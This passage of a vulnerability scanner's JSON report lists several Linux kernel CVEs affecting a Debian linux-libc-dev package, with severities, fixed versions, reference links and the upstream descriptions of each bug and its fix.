when receiving a GSO\npacket.\") added a flush check to skb_gro_receive(), but\nskb_gro_receive_list() lacks the same validation.\n\nAs a result, packets marked with NAPI_GRO_CB(skb)-\u003eflush may still be\nre-aggregated.\n\nThis allows already-GRO'd packets with existing frag_list to be\nre-aggregated into a new GRO session, corrupting the frag_list chain\nstructure. When skb_segment() attempts to unpack these malformed packets,\nit encounters invalid state and triggers a kernel panic.\n\nScenario (Tethering/Device forwarding):\n 1. Driver: Generated aggregated packet P1 via LRO with frag_list\n 2. Dev A: Receives aggregated fraglist packet and flush flag set\n 3. Dev A: Re-enters GRO, skb_gro_receive_list() is called\n 4. Missing flush check allows re-aggregation despite flush flag\n 5. Frag_list chain becomes corrupted (loops or dangling refs)\n 6. Dev B: TX path calls skb_segment(), crashes on corrupted frag_list\n\nRoot cause in skb_segment():\n The check at line ~4891:\n if (hsize \u003c= 0 \u0026\u0026 i \u003e= nfrags \u0026\u0026 skb_headlen(list_skb) \u0026\u0026\n (skb_headlen(list_skb) == len || sg)) {\n\n When frag_list is corrupted by double aggregation, when list_skb is\n a NULL pointer from skb-\u003enext, skb_headlen(list_skb) dereference\n NULL/corrupted pointers occurs.\n\nCall Trace:\n skb_headlen(NULL skb)\n skb_segment\n tcp_gso_segment\n tcp4_gso_segment\n inet_gso_segment\n skb_mac_gso_segment\n __skb_gso_segment\n skb_gso_segment\n validate_xmit_skb\n validate_xmit_skb_list\n sch_direct_xmit\n qdisc_restart\n __qdisc_run\n qdisc_run\n net_tx_action\n\nFix: Add NAPI_GRO_CB(skb)-\u003eflush validation to the early-return check in\nskb_gro_receive_list(), matching the defensive programming pattern of\nskb_gro_receive().", "Severity": "HIGH", "CweIDs": [ "CWE-476" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:89083", "https://access.redhat.com/security/cve/CVE-2026-68136", "https://bugzilla.redhat.com/2492709", "https://bugzilla.redhat.com/2502255", "https://bugzilla.redhat.com/2507296", "https://bugzilla.redhat.com/2513163", "https://bugzilla.redhat.com/2513264", "https://bugzilla.redhat.com/2513293", "https://bugzilla.redhat.com/2513343", "https://bugzilla.redhat.com/2524438", "https://bugzilla.redhat.com/2528642", "https://bugzilla.redhat.com/2532122", "https://bugzilla.redhat.com/2532515", "https://bugzilla.redhat.com/2553429", "https://bugzilla.redhat.com/show_bug.cgi?id=2492709", "https://bugzilla.redhat.com/show_bug.cgi?id=2502255", "https://bugzilla.redhat.com/show_bug.cgi?id=2507296", "https://bugzilla.redhat.com/show_bug.cgi?id=2513163", "https://bugzilla.redhat.com/show_bug.cgi?id=2513264", "https://bugzilla.redhat.com/show_bug.cgi?id=2513293", "https://bugzilla.redhat.com/show_bug.cgi?id=2513343", "https://bugzilla.redhat.com/show_bug.cgi?id=2516251", "https://bugzilla.redhat.com/show_bug.cgi?id=2524438", "https://bugzilla.redhat.com/show_bug.cgi?id=2528642", "https://bugzilla.redhat.com/show_bug.cgi?id=2532122", "https://bugzilla.redhat.com/show_bug.cgi?id=2532515", "https://bugzilla.redhat.com/show_bug.cgi?id=2553429", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53236", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53388", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64378", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68138", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68140", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68338", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68476", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80824", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89638", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-99999", "https://errata.almalinux.org/8/ALSA-2026-89083.html", "https://errata.rockylinux.org/RLSA-2026:89083", "https://git.kernel.org/stable/c/107e1a469f53a2a70874f3f12bf6fcd23925da1d", "https://git.kernel.org/stable/c/7fc7e35212cf58c134310fb47566a844297ceae9", "https://git.kernel.org/stable/c/a4dfd46cc8f08a29c6183794790547d0945f3d45", "https://git.kernel.org/stable/c/d1fb23f8f794ac4683127bd49a6422bd87e0ac02", "https://git.kernel.org/stable/c/db3e82da616f52e2b27e25e7be3fde2f2a5e54d6", "https://git.kernel.org/stable/c/e751256486d0ded20f5a9f9863467f1dce65142f", "https://git.kernel.org/stable/c/fc0c0f7a207f0cd2d2aa725696c907f7d03af9e0", "https://linux.oracle.com/cve/CVE-2026-68136.html", "https://linux.oracle.com/errata/ELSA-2026-91565.html", "https://lore.kernel.org/linux-cve-announce/2026081059-CVE-2026-68136-f3b7@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68136", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68136" ], "PublishedDate": "2026-08-10T13:19:59.12Z", "LastModifiedDate": "2026-10-19T21:17:53.333Z" }, { "VulnerabilityID": "CVE-2026-68138", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68138", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a1d544354b176b1ee7c3c58c61d07e13ce37c5dac43278488fef0595c0c7c1c2", "Title": "kernel: net/sched: serialize qdisc_rtab_list against concurrent get/put", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: serialize qdisc_rtab_list against concurrent get/put\n\nqdisc_get_rtab() and qdisc_put_rtab() mutate the process-global singly\nlinked list qdisc_rtab_list and a plain non-atomic 'int refcnt' with no\nlock. This was only safe because every caller historically held the RTNL\nmutex, which serialized all rate-table lookups, inserts and frees.\n\nThat invariant no longer holds. cls_flower sets\nTCF_PROTO_OPS_DOIT_UNLOCKED, so tc_new_tfilter() keeps rtnl_held == false\nfor it and sets TCA_ACT_FLAGS_NO_RTNL. That flag propagates through\ntcf_exts_validate_ex() -\u003e tcf_action_init() -\u003e tcf_action_init_1() -\u003e\ntcf_police_init(), which calls qdisc_get_rtab()/qdisc_put_rtab() with the\nRTNL mutex NOT held. Two RTM_NEWTFILTER requests on different CPUs, each\nadding a flower filter with a police action carrying the same rate, then\nrace on qdisc_rtab_list and on the non-atomic refcnt, leading to a\nuse-after-free / double-free of the kmalloc-2k struct qdisc_rate_table.\nqdisc_rtab_list is a single global (not per-netns), so the corrupted\nobject is shared system-wide.\n\n BUG: KASAN: slab-use-after-free in qdisc_put_rtab+0x12f/0x160\n qdisc_put_rtab+0x12f/0x160\n tcf_police_init+0xda9/0x1590\n tcf_action_init_1+0x460/0x6b0\n tcf_action_init+0x439/0xa40\n tcf_exts_validate_ex+0x42d/0x550\n fl_change+0xddd/0x7da0\n tc_new_tfilter+0xaa7/0x2420\n rtnetlink_rcv_msg+0x95e/0xe90\n which belongs to the cache kmalloc-2k of size 2048\n\nProtect qdisc_rtab_list and the refcount with a dedicated spinlock. The\n(sleeping, GFP_KERNEL) allocation in qdisc_get_rtab() is performed before\ntaking the lock; if a concurrent inserter added an identical table in the\nmeantime the freshly allocated one is freed under the lock, so no\nduplicate is leaked. qdisc_put_rtab() now decrements the refcount and\nunlinks under the same lock.", "Severity": "HIGH", "CweIDs": [ "CWE-362" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:89083", "https://access.redhat.com/security/cve/CVE-2026-68138", "https://bugzilla.redhat.com/2492709", "https://bugzilla.redhat.com/2502255", "https://bugzilla.redhat.com/2507296", "https://bugzilla.redhat.com/2513163", "https://bugzilla.redhat.com/2513264", "https://bugzilla.redhat.com/2513293", "https://bugzilla.redhat.com/2513343", "https://bugzilla.redhat.com/2524438", "https://bugzilla.redhat.com/2528642", "https://bugzilla.redhat.com/2532122", "https://bugzilla.redhat.com/2532515", "https://bugzilla.redhat.com/2553429", "https://bugzilla.redhat.com/show_bug.cgi?id=2492709", "https://bugzilla.redhat.com/show_bug.cgi?id=2502255", "https://bugzilla.redhat.com/show_bug.cgi?id=2507296", "https://bugzilla.redhat.com/show_bug.cgi?id=2513163", "https://bugzilla.redhat.com/show_bug.cgi?id=2513264", "https://bugzilla.redhat.com/show_bug.cgi?id=2513293", "https://bugzilla.redhat.com/show_bug.cgi?id=2513343", "https://bugzilla.redhat.com/show_bug.cgi?id=2516251", "https://bugzilla.redhat.com/show_bug.cgi?id=2524438", "https://bugzilla.redhat.com/show_bug.cgi?id=2528642", "https://bugzilla.redhat.com/show_bug.cgi?id=2532122", "https://bugzilla.redhat.com/show_bug.cgi?id=2532515", "https://bugzilla.redhat.com/show_bug.cgi?id=2553429", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53236", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53388", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64378", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68138", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68140", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68338", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68476", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80824", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89638", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-99999", "https://errata.almalinux.org/8/ALSA-2026-89083.html", "https://errata.rockylinux.org/RLSA-2026:89083", "https://git.kernel.org/stable/c/1b050d09dd1a0ddae83bf012cf4956b7a960235f", "https://git.kernel.org/stable/c/4131dd0b6f67acddd616ed7c244e1d3eedd46e7b", "https://git.kernel.org/stable/c/6e0241f6cbb149d926ee8efee2c734fea71452cf", "https://git.kernel.org/stable/c/8ddc2eb0d2da9c83f54f1e5720525b461b8480c4", "https://git.kernel.org/stable/c/d981098b76756ed71666a27518eeb69883657c43", "https://git.kernel.org/stable/c/f43ee0c0730d6191629b5ee1ceae27b1ebfdc047", "https://git.kernel.org/stable/c/f93c89392bd3b180b5b7abc6fdae8e3dd667a313", "https://git.kernel.org/stable/c/fb29e1b41052488ee3f2d115d4a870497ebd7f7d", "https://linux.oracle.com/cve/CVE-2026-68138.html", "https://linux.oracle.com/errata/ELSA-2026-89083.html", "https://lore.kernel.org/linux-cve-announce/2026081059-CVE-2026-68138-ffa7@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68138", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68138" ], "PublishedDate": "2026-08-10T13:19:59.41Z", "LastModifiedDate": "2026-10-19T21:17:53.507Z" }, { "VulnerabilityID": "CVE-2026-68140", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.101-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68140", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4df157cab88e12f84328abfefa4164990aa892348c30769d45058b1ec45b78ac", "Title": "kernel: net/iucv: fix use-after-free of a severed iucv_path", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/iucv: fix use-after-free of a severed iucv_path\n\naf_iucv queues not-yet-received message notifications on iucv-\u003emessage_q,\neach holding a raw pointer to the connection's iucv_path. When the peer\nsevers the connection, iucv_sever_path() frees that path with\niucv_path_free() but leaves the notifications queued. A later recvmsg()\ndrains message_q via iucv_process_message_q() and hands the stale path to\nmessage_receive() -- a use-after-free of the freed iucv_path.\n\nDrop the queued notifications when the path is severed; once the path is\ngone they can no longer be received. This also frees the notifications\nleaked when a socket is closed with messages still queued.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "azure": 4, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:83156", "https://access.redhat.com/security/cve/CVE-2026-68140", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492286", "https://bugzilla.redhat.com/2502460", "https://bugzilla.redhat.com/2513234", "https://bugzilla.redhat.com/2513277", "https://bugzilla.redhat.com/2513293", "https://bugzilla.redhat.com/2513299", "https://bugzilla.redhat.com/2516526", "https://bugzilla.redhat.com/2516575", "https://bugzilla.redhat.com/2516606", "https://bugzilla.redhat.com/2521436", "https://bugzilla.redhat.com/2521498", "https://bugzilla.redhat.com/2532279", "https://bugzilla.redhat.com/2532309", "https://bugzilla.redhat.com/2535158", "https://bugzilla.redhat.com/2540182", "https://bugzilla.redhat.com/2540230", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492286", "https://bugzilla.redhat.com/show_bug.cgi?id=2502460", "https://bugzilla.redhat.com/show_bug.cgi?id=2513234", "https://bugzilla.redhat.com/show_bug.cgi?id=2513277", "https://bugzilla.redhat.com/show_bug.cgi?id=2513293", "https://bugzilla.redhat.com/show_bug.cgi?id=2513299", "https://bugzilla.redhat.com/show_bug.cgi?id=2516526", "https://bugzilla.redhat.com/show_bug.cgi?id=2516575", "https://bugzilla.redhat.com/show_bug.cgi?id=2516606", "https://bugzilla.redhat.com/show_bug.cgi?id=2521436", "https://bugzilla.redhat.com/show_bug.cgi?id=2521498", "https://bugzilla.redhat.com/show_bug.cgi?id=2532279", "https://bugzilla.redhat.com/show_bug.cgi?id=2532309", "https://bugzilla.redhat.com/show_bug.cgi?id=2532515", "https://bugzilla.redhat.com/show_bug.cgi?id=2535158", "https://bugzilla.redhat.com/show_bug.cgi?id=2540182", "https://bugzilla.redhat.com/show_bug.cgi?id=2540230", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64030", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68140", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68377", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68404", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68409", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72262", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72288", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72320", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74641", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74705", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80985", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89526", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90036", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93207", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93228", "https://errata.almalinux.org/9/ALSA-2026-83156.html", "https://errata.rockylinux.org/RLSA-2026:83156", "https://git.kernel.org/stable/c/23658b350b4107e8292045c2044983fd426fa15d", "https://git.kernel.org/stable/c/5f08c5e50bcb4680069bd3f9edd5728308816ded", "https://git.kernel.org/stable/c/900cd6d8119b7f3ae5c4bf82f922ff5957df43db", "https://git.kernel.org/stable/c/99ddb33748698296a6f17b9b34aa3d16a406bb3c", "https://git.kernel.org/stable/c/a5bbaddf69853117f28173c3f5c8fc14c6b2ec82", "https://git.kernel.org/stable/c/be7cc4656eb1f54029610e82d1f0fdd3f9b5ec0a", "https://git.kernel.org/stable/c/c24faf11bd31bfe0500aca12cbdd5a573a954a5d", "https://git.kernel.org/stable/c/f579582c03ed526281a8450159baf1d35099a85f", "https://linux.oracle.com/cve/CVE-2026-68140.html", "https://linux.oracle.com/errata/ELSA-2026-89083.html", "https://lore.kernel.org/linux-cve-announce/2026081059-CVE-2026-68140-f4e1@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68140", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68140" ], "PublishedDate": "2026-08-10T13:19:59.65Z", "LastModifiedDate": "2026-10-19T21:17:53.71Z" }, { "VulnerabilityID": "CVE-2026-68143", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.101-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68143", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:bc0dc40e220f6ffe7c613d482fadf8bc1dd1205d98c106a81a911ae36e67c950", "Title": "kernel: Linux kernel SLIP: Out-of-bounds write due to race condition during MTU change", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: slip: serialize receive against buffer reallocation\n\nsl_realloc_bufs() replaces rbuff and updates buffsize while holding\nsl-\u003elock. slip_receive_buf() reads those fields and writes through rbuff\nwithout holding the lock.\n\nAn MTU change can therefore race with receive processing. An MTU shrink\ncan expose the new smaller rbuff with the old larger bound, causing an\nout-of-bounds write. A receive callback which already loaded the old\nrbuff can instead continue writing after that buffer has been freed.\n\nSerialize receive processing with sl_realloc_bufs() by holding sl-\u003elock\nwhile consuming each receive batch.", "Severity": "HIGH", "CweIDs": [ "CWE-362" ], "VendorSeverity": { "alma": 3, "azure": 4, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:67470", "https://access.redhat.com/security/cve/CVE-2026-68143", "https://bugzilla.redhat.com/2467084", "https://bugzilla.redhat.com/2502380", "https://bugzilla.redhat.com/2502418", "https://bugzilla.redhat.com/2513218", "https://bugzilla.redhat.com/2513353", "https://bugzilla.redhat.com/2516639", "https://bugzilla.redhat.com/2517010", "https://bugzilla.redhat.com/show_bug.cgi?id=2467084", "https://bugzilla.redhat.com/show_bug.cgi?id=2502380", "https://bugzilla.redhat.com/show_bug.cgi?id=2502418", "https://bugzilla.redhat.com/show_bug.cgi?id=2513218", "https://bugzilla.redhat.com/show_bug.cgi?id=2513353", "https://bugzilla.redhat.com/show_bug.cgi?id=2516639", "https://bugzilla.redhat.com/show_bug.cgi?id=2517010", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43248", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63923", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64015", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68143", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68294", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72045", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74556", "https://errata.almalinux.org/9/ALSA-2026-67470.html", "https://errata.rockylinux.org/RLSA-2026:67470", "https://git.kernel.org/stable/c/0e37bbd6d617eb52bace49390e99eaedc1af73ce", "https://git.kernel.org/stable/c/189a550eb7e1dc10018718ddfc46d003ffe58653", "https://git.kernel.org/stable/c/1be09d175b627fad7f6bec7ad27b8a4a99863912", "https://git.kernel.org/stable/c/44401f7dd9940ced7098930ef64f5a332f279fc2", "https://git.kernel.org/stable/c/5d07b178bef511d69558cfc89fe1129258dc39f8", "https://git.kernel.org/stable/c/8180daf2b66155f84ec4f9e3f95488c8a3421716", "https://git.kernel.org/stable/c/eb3836eab47487823f362e6985e170a1e15f20fd", "https://git.kernel.org/stable/c/ee7f9bb9320add61f7b367d7e6cd55e3a3a4d65d", "https://linux.oracle.com/cve/CVE-2026-68143.html", "https://linux.oracle.com/errata/ELSA-2026-68531.html", "https://lore.kernel.org/linux-cve-announce/2026081000-CVE-2026-68143-d624@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68143", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68143" ], "PublishedDate": "2026-08-10T13:20:00.047Z", "LastModifiedDate": "2026-10-19T21:17:54.24Z" }, { "VulnerabilityID": "CVE-2026-68144", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.101-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68144", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7e54972947fbb2b2a556a845c5e98f520e29e5eea26fea5ad4af9f555d844658", "Title": "kernel: phonet: pep: fix use-after-free in pep_get_sb()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nphonet: pep: fix use-after-free in pep_get_sb()\n\npep_get_sb() doesn't consider that pskb_may_pull() might have relocated\nthe skb data, and continue to access the older pointer, causing UAF.\n\nReproduced under KASAN:\n\n BUG: KASAN: slab-use-after-free in pep_get_sb+0x234/0x3b0\n Read of size 1 at addr ff11000105510f50 by task repro/157\n pep_get_sb+0x234/0x3b0\n pipe_handler_do_rcv+0x5f7/0xa10\n pep_do_rcv+0x203/0x410\n __sk_receive_skb+0x471/0x4a0\n phonet_rcv+0x5b3/0x6c0\n __netif_receive_skb+0xcc/0x1d0\n\nRefetch the header with skb_header_pointer() after pskb_may_pull(), so\nthe possibly stale pointer is no longer dereferenced. There are better\nways to solve this, but, this is the less instrusive one.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 4, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-68144", "https://git.kernel.org/stable/c/0f71f852a96af9685858ce59fda34ecbf85c283d", "https://git.kernel.org/stable/c/17f78c0c0d41d738ee236eb6e841e39395188054", "https://git.kernel.org/stable/c/1d81e19fc57a5ee55b4497d01bc0510d76fb9578", "https://git.kernel.org/stable/c/25e3641beb51333bfbb155af2fd2573a61113af2", "https://git.kernel.org/stable/c/8d931a75a38b9bb584a4071f5ebbd52755fc35ee", "https://git.kernel.org/stable/c/a48a889b60f73edb0399a8b08284a2ab0bd0295f", "https://git.kernel.org/stable/c/c4a52cb4da8d57d060b1d52085d25147a238dac2", "https://git.kernel.org/stable/c/df198743859fefba2f824115f8151dd62d7ad6d8", "https://linux.oracle.com/cve/CVE-2026-68144.html", "https://linux.oracle.com/errata/ELSA-2026-500377.html", "https://lore.kernel.org/linux-cve-announce/2026081000-CVE-2026-68144-39ce@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68144", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68144" ], "PublishedDate": "2026-08-10T13:20:00.217Z", "LastModifiedDate": "2026-10-19T21:17:54.457Z" }, { "VulnerabilityID": "CVE-2026-68145", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" 